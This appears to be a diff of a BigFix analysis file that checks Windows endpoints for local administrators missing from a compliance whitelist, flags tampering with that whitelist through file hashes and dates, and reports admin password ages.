-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>&nbsp;</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=204>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=2><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>Displays the members of local Administrators group as well as the age of the passwords for each of those users.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>This can be useful in determining if any admin-user is violating corporate password policy and creating a potential vulnerability.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=180>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=2><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>Compares the hash of the ComplianceWhitelist.txt file on that endpoint with the hash of the backup file created by the 'Deploy Whitelist' task.&nbsp; If there is a mismatch then it is likely someone has modified the primary Whitelist file to fool the policy</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR></TBODY></TABLE></P>
-<P>
-<TABLE class=MsoNormalTable style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; WIDTH: 566.75pt; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellSpacing=0 cellPadding=0 width=756 border=1>
-<TBODY>
-<TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 130.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=174>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Primary File hash</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 148.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=198>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Backup File hash</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=204>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Primary File Date</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=180>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Backup File Date</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR>
-<TR style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 130.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=174>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>The sha1 hash of the primary ‘whitelist’ file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>A difference between this and the hash on other clients or this client’s backup file likely indicates that someone has made unauthorized changes to this file.<o:p></o:p></SPAN></P></TD>
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 148.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=198>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>The sha1 hash of the backup ‘whitelist’ file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If someone makes unauthorized changes to the primary whitelist file there will likely be a difference between the hashes of the primary and the backup files. <o:p></o:p></SPAN></P></TD>
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=204>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>The modification date of the primary whitelist file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If the file has a different date than the ‘official’ whitelist file, it will allow an operator to detect that the file on this computer&nbsp;may not be the same as the 'official' version.</SPAN></P></TD>
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=180><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>The modification date of the backup whitelist file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If the file has a different date than the ‘official’ whitelist file or the primary whitelist file, it will allow an operator to detect that the file(s) on this computer&nbsp;may not be the same as the 'official' version.</SPAN></P></o:p></SPAN></TD></TR></TBODY></TABLE></P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 18 Sep 2018 04:18:29 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Status">if exists file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then if number of (elements of (set of ((following texts of firsts &quot;\&quot; of unique values of ((members of local group &quot;Administrators&quot;) as string) as lowercase)) - set of (unique values of (lines of file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;))))) = 0 then &quot;Compliant&quot; else &quot;Not-Compliant&quot; else &quot;No Compliance Whitelist on Endpoint&quot;</Property>
-    <Property ID="2" Name="Unauthorized Admins">if exists file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then &quot;[&quot; &amp; concatenation &quot;] - [&quot; of (elements of (set of ((following texts of firsts &quot;\&quot; of unique values of ((members of local group &quot;Administrators&quot;) as string) as lowercase)) - set of (unique values of (lines of file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;))))) &amp; &quot;]&quot; else &quot;No Compliance Whitelist on Endpoint&quot;</Property>
-    <Property ID="3" Name="Whitelist Files Match">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then (sha1 of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) = sha1 of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;)) as string else &quot;Primary Whitelist File Missing&quot; else &quot;Whitelist Backup File Missing&quot;</Property>
-    <Property ID="4" Name="Backup File hash" EvaluationPeriod="PT0S">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then (sha1 of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;)) else &quot;Backup Whitelist File Missing&quot;</Property>
-    <Property ID="5" Name="Primary File hash" EvaluationPeriod="PT0S">if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then sha1 of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) else &quot;Primary Whitelist File Missing&quot;</Property>
-    <Property ID="6" Name="Primary File Date" EvaluationPeriod="PT0S">if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then (modification time of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;)) as string else &quot;Primary Whitelist File Missing&quot;</Property>
-    <Property ID="7" Name="Backup File Date" EvaluationPeriod="PT0S">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then (modification time of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;)) as string else &quot;Backup Whitelist File Missing&quot;</Property>
-    <Property ID="8" Name="Name/Pwd Age of Admins" EvaluationPeriod="P1D">&quot;[&quot; &amp; concatenation &quot;] - [&quot; of (((names of it, password age of it) of users whose (admin privilege of it as string contains &quot;True&quot;)) as string) &amp; &quot;]&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Admin Users Compliance Status
+  ID       : 2998597
+  Author   : mxc0bbn
+  Domain   : BESC
+  Imported : 2018-09-17T21:29:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Admin Users Compliance Status</Title>
+    <Description><![CDATA[<P><STRONG><FONT color=#ff0000 size=4>Note: </FONT></STRONG></P>
+<P><FONT color=#ff0000 size=4><STRONG>1.&nbsp; If the task "</STRONG><EM><FONT size=5><STRONG><FONT color=#000000 size=3>Deploy ComplianceWhitelist File</FONT>" </STRONG></FONT><FONT size=3><STRONG>has not yet been run, the Status may show "<FONT color=#000000>No Compliance Whitelist on Endpoint</FONT>"<BR></STRONG></FONT></EM></FONT><FONT color=#ff0000 size=4><STRONG>2.&nbsp;&nbsp;</STRONG></FONT><FONT color=#ff0000><FONT size=4><STRONG>The file ComplianceWhitelist.txt should be created on the BES Server prior to running the above task<BR>3.&nbsp; If the names of the&nbsp;files in the "Deploy Compliance Whitelist File" task and the "Enforce Compliance" Fixlet have been changed, those changes should also be made in this analysis otherwise the analysis&nbsp;may show a status of "No Whitelist File on Endpoint"</STRONG></FONT></FONT></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>
+<P>Properties Description:</P>
+<P>
+<TABLE class=MsoNormalTable style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; WIDTH: 566.75pt; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellSpacing=0 cellPadding=0 width=756 border=1>
+<TBODY>
+<TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 157.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=210>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Status</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 121.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=162>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Unauthorized</SPAN></B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'><o:p></o:p></SPAN></FONT></P>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Admins&nbsp;</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Name/PWD Age of Admins</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=180>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Whitelist files Match</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR>
+<TR style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 157.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=210>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Compliant:</SPAN></B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'> All users in the Administrators group are in the ComplianceWhitelist.txt file</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Not-Compliant:</SPAN></B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'> There are&nbsp;users in the&nbsp;local Administrators group that are&nbsp;<B><SPAN style="COLOR: red">NOT</SPAN></B> in the ComplianceWhitelist.txt file.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 121.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=162>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>&nbsp;If the status shows Not-Compliant this field will show which users are in the endpoint's local Administrators group that are&nbsp;<B><SPAN style="COLOR: red">NOT</SPAN></B> in the ComplianceWhitelist.txt file.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>&nbsp;</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=2><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>Displays the members of local Administrators group as well as the age of the passwords for each of those users.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>This can be useful in determining if any admin-user is violating corporate password policy and creating a potential vulnerability.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=180>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=2><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>Compares the hash of the ComplianceWhitelist.txt file on that endpoint with the hash of the backup file created by the 'Deploy Whitelist' task.&nbsp; If there is a mismatch then it is likely someone has modified the primary Whitelist file to fool the policy</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR></TBODY></TABLE></P>
+<P>
+<TABLE class=MsoNormalTable style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; WIDTH: 566.75pt; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellSpacing=0 cellPadding=0 width=756 border=1>
+<TBODY>
+<TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 130.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=174>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Primary File hash</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 148.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=198>
